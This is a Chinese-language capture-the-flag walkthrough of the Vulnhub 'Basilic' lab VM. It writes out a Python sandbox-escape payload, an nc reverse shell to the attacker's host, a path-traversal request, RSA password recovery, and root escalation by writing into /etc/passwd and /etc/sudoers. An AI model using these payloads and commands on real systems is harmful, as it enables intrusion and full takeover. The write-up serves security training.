Vulnhub-Basilic

灰常有意思的一次训练,需要对 python 沙箱逃逸有一定程度的理解,让我们开始游戏吧~
[注:从源地址下载出得知需要拿到 4 个 flag]
[这篇可能是整个百度第一家…可能…]

利用 namp 扫描获取目标 IP 地址:nmap -sn 192.168.67.1/24
继续获取目标的相关开放端口等信息:namp -A -p- 192.168.67.18
可以看到下列信息:
Vulnhub-Basilic_第1张图片

http服务对应的端口是 5000 ,而不是 80,其次还开放了 22 --> ssh 服务,我们登陆到 web 页面游玩下~
Vulnhub-Basilic_第2张图片
点击 contact me,得到一串类似于密钥的东西,但是对现在好像没啥用…
Vulnhub-Basilic_第3张图片

啥都没有,端口也是 22 端口,就只能从 web 下手,页面没啥,就尝试下 URL 地址栏…
0496f962d985a9b800d9971859ef431.png
将 contact.html 替换掉,随便乱输,看会不会有什么报错
c80602269b8b615839ae427d6ae541e.png

哦吼~爆出一小段值钱的东东:/opt/webserver/basilic_dev_website.py
看来这是一个主文件,web 显示的东东都从这里来,进去这个页面看看…得到一段 python 代码:
802e2c5ddd84b7cf4b30b06233161b0.png
整理后仔细阅读一下:得到一个 flag:905459d7e2dbb3c47ab947faed7b12b0
Vulnhub-Basilic_第4张图片

从源代码中我们可以看到,如果路径是 json_calc 的时候,给予一个参数,返回内容为字典形式(json 转化)
其中 g = {"__builtins__": None} 是用来计算数字用的,直接看几个例子就懂了…
15975d5b28b6f47220d12571b13388c.png
55a07289f2e67cbd3a30d422e68e6f9.png
9bb971ee6a380eb5abde9e4d4f466e9.png

看起来好像没有可利用的地方,但真的是这样子吗? —— 此处就可以用沙箱逃逸,沙箱逃逸看这里:
一文看懂 python 沙箱逃逸
于是可以:(为了更加方便,这里就直接在 kali 上进行操作了)
wget "http://192.168.67.18:5000/json_calc?x=().__class__.__base__.__subclasses__()[0]" -O - 2>/dev/null
需要一个个试出模块,可以编写代码自动运行,直至试出 ‘warnings.catch_warnings’

wget "http://192.168.67.18:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]" -O - 2>/dev/null
8ffd9ce2d4b3fe100e109750c848808.png

导入 import 模块执行系统命令:
wget "http://192.168.67.18:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen('id').read()" -O - 2>/dev/null
26af8b9465dd590e453d4e48625b448.png
可以得到当前用户名为:python

查看一下当前用户的家目录:发现空格没过滤了…
1bb4fab406cc5227dfd56836d31e729.png

在 python 中,有一个 os.listdir(path) 方法可以遍历目录,既然空格被搞了,那就用这个方法试试
wget "http://192.168.67.18:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').listdir('/home/python')" -O - 2>/dev/null
6ee0c104ddb37155d56874fa3051305.png
得到一个 secret.txt ,怎么查看呢?尝试看看有木有目录遍历漏洞(昨天晚上睡前复现的 CVE 派上用场:D)
拿到第二个 flag:
964a1752ac34589fa8c67cd9acf2f76.png

提取 shell:
wget "http://192.168.67.18:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').spawnl(1,'/bin/nc','nc','192.168.67.221','8686','-e','/bin/sh')" -O - 2>/dev/null
kali 侦听:nc -vnlp 8686
执行拿到 shell,加 bash 外壳:python -c 'import pty;pty.spawn("/bin/bash")'
e8ca5e3168e1bd1d94ead182622744f.png

想了各种提权都不可以,是不是还有另外一个账户?
Vulnhub-Basilic_第5张图片
于是查看 /etc/passwd 还有没有其它用户,发现除了 root 和 python 之外还有一个 basilic 用户,怎么就没有想到呢…绕那么多弯弯,以后进来就先查看 /etc/passwd:
Vulnhub-Basilic_第6张图片

到 basilic 的家目录想查看一下 —— ls -la
Vulnhub-Basilic_第7张图片
cat secret.txt — 没有权限
cat encrypted_password — 这个文件名算是暗示吧,要我们解密
ee80e980d53caa4a100b6b9b694fa3a.png

去喝了杯水,仔细回顾一下上述过程,发现最开始有个公钥[上面写着 pubilc key]的东西,不知道能不能拿来用:
70c0b8d8d7595be8260f9aeaae838be.png

猜测就是根据这个去搞到 basilic 的密码,然后还有 SSH 要用上,要用 basilic 来登陆 SSH 服务然后提权…(做 DC 得来的思路),问题是要怎么搞呢?
遇事不决问google,其次问github/baidu/biying等,通过搜索引擎的帮助怀疑这是一个 RSA 的公钥,那么怎么得到私钥呢?
google没搜到,还是 Github 哥哥帮了我:D
Vulnhub-Basilic_第8张图片

这里看到一款名为工具:RsaCtfTool
Vulnhub-Basilic_第9张图片
从简介中即可看到就是公钥算私钥,没错,是我想要的人,感谢 github,有空研究下 RSA 算法,及其这个工具

按照说明安装:
Vulnhub-Basilic_第10张图片

先将公钥保存成一个 .key 文件,–> public.key
运行 RsaCtfTool.py 解密文件,这得将 .encrypted_password 得到的密文保存起来,为了防止由于复制导致出现编码问题,所以我们直接下载下来放置到一个名为 password 的文件当中:
curl "http://192.168.67.18:5000/..%2f..%2f..%2f..%2fhome/basilic%2f.encrypted_password" > password
5be83aafb1041bc3f351411e542f5c2.png

Get 到密码:python3 RsaCtfTool.py --public public.key --uncipherfile password
Vulnhub-Basilic_第11张图片

密码串种可以看到有 \x00 (坏字符?) 我们把前面的去掉:
STR : b’\x00\x02\x8c\xf0\x0fB\xd3"\xe7||`)\x95\x00nevergonnagiveyouup’
留下:nevergonnagiveyouup 猜想这个是密码

ssh 登陆一下:
Vulnhub-Basilic_第12张图片

成功登陆,试想这里只有三个用户,到这一步应该就是提权了,不过别急,得先到家目录查看一下刚刚因为权限进不去的 secret.txt 文件:
cd /home/basilic
cat secret.txt
Vulnhub-Basilic_第13张图片
得到 Third flag : e1e0d24d7fed3745e19bb0f90a769ea0

提权首先尝试下 sudo -l 查看当前用户有哪些权限:
Vulnhub-Basilic_第14张图片
可以看到有一个 py 文件具有 root 权限:(root) /usr/bin/python /opt/calc_test.py

查看一下这个 python 文件源码:
Vulnhub-Basilic_第15张图片

可以看到这是利用了前面的 /opt/webserver/basilic_dev_website.py 那个计算,运行一下就知道:
732e66902650c420e6d8f460a227ebc.png

到这里我们手头上有两个 shell ,一个是 python 用户,一个是 basicli 用户,到这里要怎么做呢?
除此之外有一个可用于提权的 /opt/calc_test.py 文件,它可以将内容写入到任何文件,但是其中要经过 /opt/webserver/basilic_dev_website.py 这个文件,具体定位到该文件下的返回值为:
Vulnhub-Basilic_第16张图片

有什么办法可以修改其中的内容吗?因为我们是页面 nc 反弹回来的 shell ,所以 vim 和 vi 都用不了,linux 中还有什么命令可以用于修改文本文件的吗?通过搜索引擎的帮助我们发现:
Vulnhub-Basilic_第17张图片
Vulnhub-Basilic_第18张图片

有一个 sed 命令可以替换查找和删除?替换???在 python shell 使用 sed,发现正常返回,说明是可以用的,如果我们把返回即 return 的内容替换掉,那返回的岂不可以是我们想要的?
经学习,我们需要使用到 -i -e s 三个参数:
Vulnhub-Basilic_第19张图片
Vulnhub-Basilic_第20张图片

结合 -i 的直接使用和 -e 指定 s 替换功能,我们的目标是 /etc/passwd ,修改它是的 basilic 具备 root 功能
sed -i -e 's!jsonify(l)!"aa:$1$aa$qvcUvM9shL8s8o02vaX820:0:0::/root:/bin/bash"!' basilic_dev_website.py
因为账号内容带 / ,所以把 / 换成 ! ,否则会报错

再来尝试执行 /opt/calc_test.py 文件:
sudo /usr/bin/python /opt/calc_test.py
1
/etc/passwd
sudo aa
原本以为这就结束了,没想到,你是真的皮…
Vulnhub-Basilic_第21张图片

/etc/passwd 看来是利用不了了,那就利用 /etc/sudoers
sed -i -e 's/"aa:$1$aa$qvcUvM9shL8s8o02vaX820:0:0::/root:/bin/bash"!"basilic ALL=(ALL:ALL) ALL"!' basilic_dev_website.py

cat basilic_dev_website.py
Vulnhub-Basilic_第22张图片
再来:然而你会发现…写不进去了
Vulnhub-Basilic_第23张图片

难道就这样放弃了么?不,还原靶机再来…
修改:
sed -i -e 's/jsonify(l)/"basilic ALL=(ALL:ALL) ALL"/' basilic_dev_website.py
重启服务器(杀掉进程自动重启):
ps -aux | grep python
kill 492
e1e95f3a0d0846dc1b7105a225f05ee.png

写入:
sudo /usr/bin/python /opt/calc_test.py
1
/etc/sudoers
sudo -l
sudo su
id
Vulnhub-Basilic_第24张图片

得到最后一个 flag:
cd /root
cat root.txt
c5b9e67c3433fda62803057b39de90c.png
Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb
原本以为有彩蛋,结果啥都木有

下面是总结

总结: 平淡小愉悦加艰辛 0.不懂什么是 python 逃逸,懵懵懂懂学一点上手 1.不熟悉解密 RSA ,懵懵懂懂学一点上手 2.不熟悉命令 sed ,懵懵懂懂学一点上手 3.不熟悉文件 /etc/sudoers ,懵懵懂懂学一点上手 质量很高的练习,我得去厕所角落哭一会儿,好多步卡壳,心塞...尤其是最后边很皮的说 who you are? 然后还原靶机再战,不过都弄出来啦

你可能感兴趣的:(Vulnhub)